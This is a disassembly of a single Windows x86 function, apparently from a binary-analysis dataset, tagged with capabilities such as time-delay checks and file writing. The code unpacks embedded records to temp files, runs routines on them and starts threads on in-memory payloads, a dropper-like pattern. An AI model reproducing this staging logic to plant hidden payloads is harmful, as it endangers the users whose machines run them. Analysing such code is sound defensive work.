Function at 0x400335b
Capabilities:
Check for time delay via gettickcount
Create thread
Get common file path
Query environment variable
Terminate process
Write file on windows

Disassembly:
sub esp, 0x244
mov edx, dword [esp + 0x248]
push ebx
push ebp
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x24], ebx
cmp edx, ebx
je 0x4003941
cmp dword [esp + 0x25c], ebx
je 0x4003941
mov esi, dword [edx]
cmp esi, ebx
mov dword [esp + 0x2c], esi
jle 0x4003941
cmp esi, 0x400
jae 0x4003941
lea eax, [edx + 4]
xor ecx, ecx
cmp esi, ebx
mov dword [esp + 0x18], eax
jle 0x400346c
cmp ecx, ebx
jle 0x40033c5
mov esi, dword [esp + 0x25c]
add eax, dword [eax]
add esi, edx
cmp eax, esi
ja 0x40033fa
mov edi, dword [eax]
mov ebp, dword [eax + 4]
sub edi, 0x18
lea esi, [eax + 0x18]
cmp ebp, dword [0x400b81c]
jne 0x40033f1
mov ebp, dword [eax + 8]
cmp ebp, dword [0x400b824]
jne 0x40033f1
test byte [eax + 0xc], 2
je 0x40033f1
cmp byte [0x400d1d7], bl
jne 0x4003401
inc ecx
cmp ecx, dword [esp + 0x2c]
jl 0x40033b2
jmp 0x400346c
xor eax, eax
jmp 0x4003945
test byte [eax + 0xc], 0x10
je 0x4003458
mov ebp, dword [edi + esi - 4]
push 4
push 0x3000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x400346c
push ebp
push eax
push edi
push esi
call fcn.0400250a
cmp eax, ebp
jne 0x4003446
push 0xea60
push dword [esp + 0x14]
call fcn.04001df5
movzx eax, al
pop ecx
pop ecx
mov dword [esp + 0x24], eax
push 0x8000
push ebx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x400346c
push 0xea60
push esi
call fcn.04001df5
movzx eax, al
pop ecx
pop ecx
mov dword [esp + 0x24], eax
cmp dword [esp + 0x2c], ebx
mov esi, dword [esp + 0x18]
mov dword [esp + 0x28], ebx
jle 0x4003941
cmp dword [esp + 0x28], ebx
jle 0x400349e
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
add esi, dword [esi]
add eax, ecx
cmp esi, eax
ja 0x40033fa
mov edi, dword [esi]
mov eax, dword [esi + 4]
sub edi, 0x18
cmp eax, dword [0x400b820]
jne 0x40035bb
mov eax, dword [0x400b824]
cmp dword [esi + 8], eax
jne 0x40035bb
push 0x104
lea eax, [esp + 0x154]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0xa
lea eax, [esp + 0x44]
push ebx
push eax
call fcn.04004174
lea eax, [esp + 0x4c]
push 4
push eax
call fcn.04004dc7
add esp, 0x14
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xffff
div ecx
lea eax, [esp + 0x44]
push edx
push eax
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40035bb
push ebx
lea eax, [esp + 0x14]
push eax
push edi
lea eax, [esi + 0x18]
push eax
push ebp
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40035b4
cmp dword [esp + 0x10], edi
jne 0x40035b4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x18], eax
call fcn.040025a6
cmp byte [0x400d1db], bl
je 0x4003596
push 0x4006228
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._9276543007814
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x4c]
push eax
call fcn.04001882
pop ecx
test eax, eax
jne 0x4003950
call fcn.04002610
cmp dword [esp + 0x18], ebx
jne 0x40035bb
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [esi + 0xc], 2
jne 0x400392f
mov eax, dword [0x400b81c]
cmp dword [esi + 4], eax
jne 0x400392f
mov eax, dword [0x400b824]
cmp dword [esi + 8], eax
jne 0x400392f
push edi
lea eax, [esi + 0x18]
push eax
push esi
call fcn.04002692
add esp, 0xc
test al, al
je 0x400392f
cmp dword [esi + 0x14], ebx
je 0x4003664
push 4
push 0x3000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
cmp ebp, ebx
je 0x4003664
push edi
lea eax, [esi + 0x18]
push eax
push ebp
call fcn.04004094
push 0x20
call fcn.04004edc
mov ecx, dword [esi]
mov dword [eax], ecx
mov ecx, dword [esi + 4]
add esp, 0x10
mov dword [eax + 4], ecx
mov ecx, dword [esi + 8]
push ebx
push ebx
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x14]
push eax
mov dword [eax + 0x14], ecx
mov dword [eax + 0x1c], edi
mov ecx, dword [esi + 0xc]
push 0x4002f4d
mov dword [eax + 0xc], ecx
mov ecx, dword [esi + 0x10]
push ebx
push ebx
mov dword [eax + 0x10], ecx
mov dword [eax + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
jmp 0x4003929
mov eax, dword [esi + 0xc]
test al, 1
je 0x40037bd
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x20], ebx
test al, 0x10
je 0x40036f9
mov ebp, dword [edi + esi + 0x14]
push 4
push 0x3000
push ebp
push ebx
mov dword [esp + 0x30], ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x400392f
push ebp
push eax
push edi
lea eax, [esi + 0x18]
push eax
call fcn.0400250a
cmp eax, ebp
jne 0x40036e7
push dword [esp + 0x1c]
call fcn.04001a88
test byte [esi + 0xc], 8
pop ecx
mov dword [esp + 0x14], eax
je 0x40036e7
push 4
push 0x3000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebp
push dword [esp + 0x20]
mov dword [esp + 0x18], eax
push eax
call fcn.04004094
add esp, 0xc
push 0x8000
push ebx
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4003707
lea eax, [esi + 0x18]
push eax
call fcn.04001a88
pop ecx
mov dword [esp + 0x14], eax
cmp dword [esp + 0x14], ebx
je 0x400392f
cmp dword [esi + 0x10], ebx
je 0x4003724
push edi
lea eax, [esi + 0x18]
push eax
push esi
call fcn.04002792
add esp, 0xc
test byte [esi + 0xc], 8
je 0x400379a
push 0x10
call fcn.04004edc
test byte [esi + 0xc], 0x10
pop ecx
mov ebp, eax
je 0x400374a
mov eax, dword [esp + 0x10]
mov dword [ebp], eax
mov eax, dword [esp + 0x20]
mov dword [ebp + 4], eax
jmp 0x4003771
push 4
push 0x3000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp], eax
cmp eax, ebx
je 0x400379a
push edi
lea ecx, [esi + 0x18]
push ecx
push eax
call fcn.04004094
add esp, 0xc
mov dword [ebp + 4], edi
cmp dword [ebp], ebx
je 0x400379a
mov eax, dword [esi + 0xc]
push ebx
push ebx
push ebp
push 0x4002a0d
mov dword [ebp + 8], eax
mov eax, dword [esp + 0x24]
push ebx
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [esi + 0xc], 4
je 0x40037b0
push 0x4008008
push dword [esp + 0x18]
call fcn.04001cc3
pop ecx
pop ecx
mov dword [esp + 0x24], 1
jmp 0x400392f
push 0x104
lea eax, [esp + 0x154]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0xa
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.04004174
lea eax, [esp + 0x40]
push 4
push eax
call fcn.04004dc7
add esp, 0x14
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0xffff
div ecx
lea eax, [esp + 0x38]
push edx
push eax
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x400392f
test byte [esi + 0xc], 0x10
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], edi
lea ebp, [esi + 0x18]
je 0x40038bd
mov eax, dword [edi + ebp - 4]
push 4
push 0x3000
push eax
push ebx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x30], eax
cmp eax, ebx
je 0x4003925
push dword [esp + 0x14]
push eax
push edi
push ebp
call fcn.0400250a
cmp eax, dword [esp + 0x14]
jne 0x40038ab
push ebx
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
push dword [esp + 0x3c]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], eax
push 0x8000
push ebx
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40038d0
push ebx
lea ecx, [esp + 0x24]
push ecx
push edi
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], ebx
je 0x4003925
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x20], eax
jne 0x4003925
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x4c]
push eax
call fcn.04001882
pop ecx
mov dword [esp + 0x18], eax
cmp eax, ebx
je 0x400392f
cmp dword [esi + 0x10], ebx
je 0x400390d
push edi
push ebp
push esi
call fcn.04002792
add esp, 0xc
test byte [esi + 0xc], 4
je 0x40037b0
push 0x4008008
push dword [esp + 0x1c]
jmp 0x40037a9
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [esp + 0x28]
mov eax, dword [esp + 0x28]
cmp eax, dword [esp + 0x2c]
jl 0x400347e
mov eax, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x244
ret
call fcn.0400284a
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]